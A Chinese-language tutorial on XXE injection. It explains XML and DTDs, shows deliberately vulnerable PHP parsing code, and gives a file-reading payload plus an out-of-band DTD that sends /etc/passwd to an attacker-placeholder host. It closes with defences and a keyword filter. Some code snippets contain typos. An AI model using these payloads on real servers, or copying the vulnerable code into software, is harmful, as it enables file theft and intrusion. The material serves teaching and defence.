0x00 XXE注入漏洞简介
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。因此我们有必要先学习XML文件。
0x01 XML
1. XML介绍
XML被设计用来传输和存储数据。XML文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”。XML允许创作者定义自己的标签和自己的文档结构。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Dont forget me this weekend!</body>
</note>
2. XML语法
- 所有的XML元素都必须有一个关闭标签。
- XML标签对大小写敏感。
- XML必须正确嵌套。
- XML属性值必须加引号。
- 实体引用。(\<为<,\>为>)
- 在XML中,空格会被保留。
3. XML元素
XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。每个元素又可以有对应的属性,并且属性必须加引号。
- XML文档必须有一个根元素。
- XML元素都必须有一个关闭标签。
- XML标签对大小写敏感。
- XML元素必须被正确的嵌套。
- XML属性值必须加引号。
4. XML DTD介绍
拥有正确语法的XML被称为“形式良好”的XML。通过DTD验证的XML是“合法”的XML。
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Dont forget me this weekend!</message>
</note>
5. DTD声明类型
- 内部的DOCTYPE声明:
<!DOCTYPE root-element [element-declarations]>
```xml-dtd <?xml version=”1.0”?> <!DOCTYPE note[ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
- 外部文档声明
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:`<!DOCTYPE root-element SYSTEM "filename">`
而在XML文件中写入:
```xml-dtd
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Dont forget me this weekend!</message>
</note>
DTD文件note.dtd写入:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
6. DTD数据类型
- PCDATA的意思是被解析的字符数据(parsed character data)。
PCDATA是被解析器解析的文本。这些文本将被解析器检查实体以及标记。
- CDATA的意思是字符数据(character data)。
CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当做标记来对待,其中的实体也不会被展开。
7. DTD实体介绍
实体其实就是变量,是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 内部实体:
<!ENTITY entity-name "entity-value">
- 外部实体:
<!ENTITY entity-name SYSTEM "URI/URL">
0x02 XXE漏洞构成
1. file_get_contents()函数
file_get_contents()函数把整个文件读入一个字符串中。
file_get_contents(path, include_path, context, start, max_length)
- path 必需,规定要读取的文件
- include_path 可选,如果也想在include_path中搜寻文件的话,可以将该参数设为“1”
- context 可选,规定文件句柄的环境,context是一套可以修改流的行为的选项,若使用null,则忽略,该参数的支持是PHP5.0.0加的
- start 可选,规定在文件中开始读取的位置,该参数是PHP5.1新加的
- max_length 可选,规定读取的字节数,该参数是PHP5.1新加的
2. php://input
php://input是个可以访问请求的原始数据的只读流。
结合file_get_contents(“php://input”)可以读取POST提交的数据。
3. php中与XXE漏洞相关的函数和类
simplexml_load_string() — 将XML字符串解释为对象 simplexml_load_file() — 将XML文件解释为对象 simplexml_import_dom() — 从DOM节点获取SimpleXMLElement对象 Class SimpleXMLElement —— 构造函数返回表示数据的SimpleXMLElement对象 Class DOMDocument —— loadXML() 从字符串加载XML文档,返回True/False
4. simplexml_load_string()函数
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement。
例如:(注意格式是<<<XML XML;两个XML中间夹着XML内容)
$note=<<<XML<note> <to>Tove</to> <from>Janni</from> <heading>Reminder</heading> <body>Dont forget me this weekend!</body></note>XML;
$xml = simplexml_load_string($note);
print_r($xml);
0x03 XML漏洞利用——有回显
在PHP中可以使用print_r()、echo输出想要输出的内容。 完整存在XXE漏洞代码如下:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
print_r($data); // 注释掉该语句即为无回显的情况
?>
以上代码需要POST请求,输入XML,这样就会被php://input接收到并被file_get_contents()函数转成字符串,然后由simplexml_load_string()函数转化成XML对象,print_r会输出对象全部信息,包括类信息。
POST请求数据部分修改XML内容如下:
<?xml version="1.0" encoding="urf-8"?>
<!DOCTYPE xxe [
<!EL EMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>
<name>&xxe;</name>
</root>
利用file://协议获取服务器本地的文件,通过print_r()函数回显。
读取文件可以用:
- file:///path/to/file.txt
- http://url/file.txt
- php://filter/read=convert.base64-encode/resource=conf.php
base64编码读出来的文件内容需要解码,Kali终端输入以下命令可以base64解码:
echo "base字符串" | base64 -d
0x04 XXE漏洞利用——无回显
首先环境假设有客户端A(攻击者)、服务端B、攻击者搭建的服务端C、资源(可以是B的本地或内网)。
A向B发送POST请求,并提交XML内容
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://C的ip地址/test.dtd">
<foo>&e1;</foo>
然后B会向C服务器请求(C需要提前起一个HTTP服务)
http://C的ip地址/test.dtd
就会将dtd加载到B的本地来执行。test.dtd的内容:
<!ENTITY % p1 SYSTEM "file:///etc/passwd"> # 获取本地文件给攻击者
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://A的ip地址/test.php?con=%p1;'>">
%p2;
接着A只需要wireshark抓包查看请求结果。
0x05 XXE漏洞危害
- 读取本地敏感文件内容
- 对内网信息进行探测
- 可能导致命令执行
- 向服务器发起DDoS攻击
0x06 XXE漏洞防御
1. XXE漏洞消亡原因
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。
2. 防御措施
- 关闭外部实体引用功能(最简单直接,并且安全)
使用开发语言提供的禁用外部实体的方法:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
df.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
- 在服务器端进行白名单验证和过滤,如不能用白名单,可以用关键词过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
-
及时修复或更新应用程序或底层操作系统使用的相关XML处理器和库
-
使用XSD验证等验证方法来验证上传的XML文件